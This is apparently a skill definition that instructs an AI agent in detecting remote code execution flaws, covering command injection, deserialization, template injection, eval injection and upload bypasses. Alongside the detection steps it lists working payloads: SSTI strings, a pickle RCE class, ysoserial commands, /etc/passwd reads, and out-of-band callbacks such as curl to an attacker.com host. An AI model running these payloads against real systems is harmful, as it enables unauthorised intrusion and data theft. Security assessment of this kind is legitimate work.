rce-detection

name	RCE Detection
description	Remote Code Execution vulnerability detection — identify command injection, deserialization, template injection, and eval injection vectors
tags	["rce","code-execution","command-injection","deserialization","ssti","security"]

Task: Remote Code Execution (RCE) Vulnerability Detection. You identify and analyze RCE vulnerabilities in binary code, web applications, and mobile applications.

Approach

Systematic RCE vulnerability hunting. Identify code execution vectors through API analysis, pattern recognition, and exploitability assessment.

Phase 1: Command Injection Detection

System/Exec Function Analysis

• Search for: system(), popen(), exec(), ShellExecute(), CreateProcess()
• Pattern: system(user_input) or exec(command)
• Check: Is user input sanitized before execution?
• Look for: Input validation, filtering, encoding

Command Injection Patterns

Unix/Linux:
- ; command (command separator)
- | command (pipe)
- `command` (backtick execution)
- $(command) (substitution)
- \n command (newline injection)

Windows:
- & command (AND operator)
- | command (pipe)
- %VAR% (variable expansion)
- <command (file execution)

Detection Steps

1. Find all command execution functions using search_strings or search_functions
2. Analyze function arguments for user input
3. Trace data flow from input to command execution
4. Check for sanitization functions (e.g., escapeshellarg(), htmlspecialchars())

Phase 2: Deserialization Vulnerability Detection

Python Pickle Analysis

• Search for: pickle.loads(), pickle.load(), cPickle, dill, shelve
• Pattern: Direct deserialization of user-provided data
• Check: __reduce__ method usage, custom classes
• Look for: HMAC signing, encryption before deserialization

Java Deserialization

• Search for: ObjectInputStream.readObject(), XMLDecoder, Serializable
• Pattern: Untrusted data deserialization
• Check: Apache Commons Collections, Spring Framework, XStream
• Look for: ObjectInputStream with unfiltered data

.NET Deserialization

• Search for: BinaryFormatter, SoapFormatter, LosFormatter
• Pattern: ViewState manipulation, gadget chains
• Check: TypeConfuseDelegate, TextFormattingRunProperties
• Look for: MAC validation, whitelist validation

Detection Steps

1. Identify deserialization functions using search_functions
2. Analyze data sources (user input, file, network)
3. Check for validation (signatures, encryption)
4. Assess gadget chain availability

Phase 3: Template Injection Detection (SSTI)

Server-Side Template Injection

• Search for: render_template(), Template(), from_string()
• Pattern: User input used in template rendering
• Check: Template engine (Jinja2, Twig, Freemarker, Velocity, ERB)
• Look for: Automatic escaping, sandbox mode

Detection Templates

Jinja2 (Python/Flask):
{{7*7}} → 49
{{config.items()}}
{{''.__class__.__mro__[1].__subclasses__()[X]}}

Twig (PHP):
{{_self.env.display("id")}}
{{_self.env.registerUndefinedFilterCallback('exec')}}
{{_self.env.getFilter('id')}}

Freemarker (Java):
${"freemarker.template.utility.Execute"?new()("id")}
${3*5} → 15

Velocity (Java):
#set($x='')##set($rt=$x.class.forName('java.lang.Runtime'))##set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))##set($ex=$rt.getRuntime().exec('id'))

Detection Steps

1. Identify template rendering functions
2. Inject polyglot test payloads
3. Analyze response for template engine artifacts
4. Confirm SSTI with engine-specific payloads
5. Construct RCE payload

Phase 4: Eval/Script Injection Detection

Dynamic Code Execution

• Search for: eval(), exec(), assert(), create_function()
• Pattern: User input passed to eval-like functions
• Check: Input validation, code signing
• Look for: Script engines (MSScriptControl, VBScript.Execute)

Injection Patterns

JavaScript:
eval(payload)
Function(payload)
setTimeout(payload, 0)
setInterval(payload, 0)

Python:
eval(payload)
exec(payload)
compile(payload, '<string>', 'exec')

PHP:
eval(payload)
assert(payload)
preg_replace('/e', payload, data)
create_function('', payload)

Detection Steps

1. Find eval-like functions using search_functions
2. Analyze function arguments for user input
3. Check for validation/encoding
4. Test with time-based payloads

Phase 5: File Upload RCE Detection

File Upload Analysis

• Search for: move_uploaded_file(), file_put_contents(), fopen(), FileStream
• Pattern: User-controlled file uploads
• Check: File type validation, extension filtering
• Look for: MIME validation, magic number checking

Upload Exploitation

Bypass Techniques:
- Double extension: shell.php.jpg
- Null byte: shell.php%00.jpg
- Alternative extensions: .php5, .phtml, .php.slow
- Magic number spoofing: GIF89a + PHP code
- HTAccess injection: Treat .jpg as .php

Execution Methods:
- Direct access: /uploads/shell.php
- LFI/RFI inclusion: Include uploaded file
- Rename/move to executable directory
- Template injection: Upload as template file

Detection Steps

1. Identify file upload functions
2. Analyze validation logic
3. Test extension bypass techniques
4. Test magic number bypass
5. Verify upload location and execution context

Phase 6: RCE Exploitability Assessment

Execution Context Analysis

• decompile_function — understand execution flow
• Check: Privilege level (user, root, admin)
• Identify: Execution environment (OS, architecture)
• Determine: Command output visibility

Bypass Techniques

Input Validation Bypass:
- Encoding: URL, Base64, Unicode
- Case sensitivity: SYSTEM vs system
- Comment insertion: sys/**/tem
- String concatenation: "sy" + "stem"

Character Restrictions:
- XOR encoding for shellcode
- Variable substitution: ${IFS} for space
- Octal/hex encoding

Blind RCE:
- Time-based: sleep(10), ping -n 11 localhost
- Out-of-band: DNS callback, HTTP beacon
- Side channel: File creation, process creation

Gadget Finding

• Search for: system(), eval(), exec() in binary
• Use xrefs to find call sites
• Check: Input data flow to these functions
• Identify: Unsafe wrapper functions

Phase 7: RCE Payload Generation

Command Injection Payloads

Unix/Linux:
; id
| cat /etc/passwd
`whoami`
$(id)
\nid (newline injection)

Windows:
& dir C:\
| whoami
%OS%
cmd /c whoami

Blind:
; sleep 5 (Unix)
& ping -n 11 localhost (Windows)
; nslookup $(whoami).attacker.com

Deserialization Payloads

Python Pickle:
import pickle, base64, os
class RCE:
    def __reduce__(self):
        return (os.system, ('id',))
pickle.dumps(RCE())

Java (ysoserial):
java -jar ysoserial.jar CommonsCollections1 'id'

.NET (ysoserial.net):
ysoserial.exe -o raw -g TypeConfuseDelegate -c "calc.exe"

SSTI Payloads

Jinja2:
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('id')}}

Twig:
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}

Freemarker:
${"freemarker.template.utility.Execute"?new()("id")}

Phase 8: RCE Confirmation

Blind RCE Confirmation

• Time-based: sleep 5 and measure response time
• DNS callback: nslookup $(hostname).attacker.com
• HTTP beacon: curl http://attacker.com/$(id)
• File creation: echo test > /tmp/rce_test.txt

Visible RCE Confirmation

• Command output: whoami, id, hostname
• File read: cat /etc/passwd, type C:\Windows\win.ini
• Environment variables: env, set

Interaction Confirmation

• Interactive shell: Use reverse shell payload
• Bind shell: Connect to opened port
• Out-of-band: Monitor DNS/HTTP logs

Final Report

[RCE VULNERABILITY] Type at 0xADDRESS
Type: Command Injection / Deserialization / SSTI / Eval Injection
Function: system() / pickle.loads() / render_template()
Severity: CRITICAL (remote code execution)
Impact: Full server compromise, data exfiltration, lateral movement

[VECTOR]
Input Point: HTTP parameter / file upload / deserialized object
Data Flow: user_input → function(param) → execution
Validation: None / Weak / Bypassable

[EXPLOITATION]
Method: Direct / Blind / Out-of-band
Payload: ; id / {{7*7}} / pickle.loads()
Confirmation: Time-based / DNS callback / Shell access

[MIGIGATION]
1. Avoid unsafe functions (system, eval, pickle)
2. Use safe alternatives (subprocess.run, JSON)
3. Validate and sanitize all user input
4. Use whitelist validation for file uploads
5. Implement sandboxing for template engines

CVE Examples

• CVE-2021-44228 (Log4Shell): Log4j JNDI injection RCE
• CVE-2017-5638: Apache Struts2 OGNL injection RCE
• CVE-2019-2725: Oracle WebLogic deserialization RCE
• CVE-2020-0688: ViewState deserialization RCE
• CVE-2019-0708: BlueKeep RDP RCE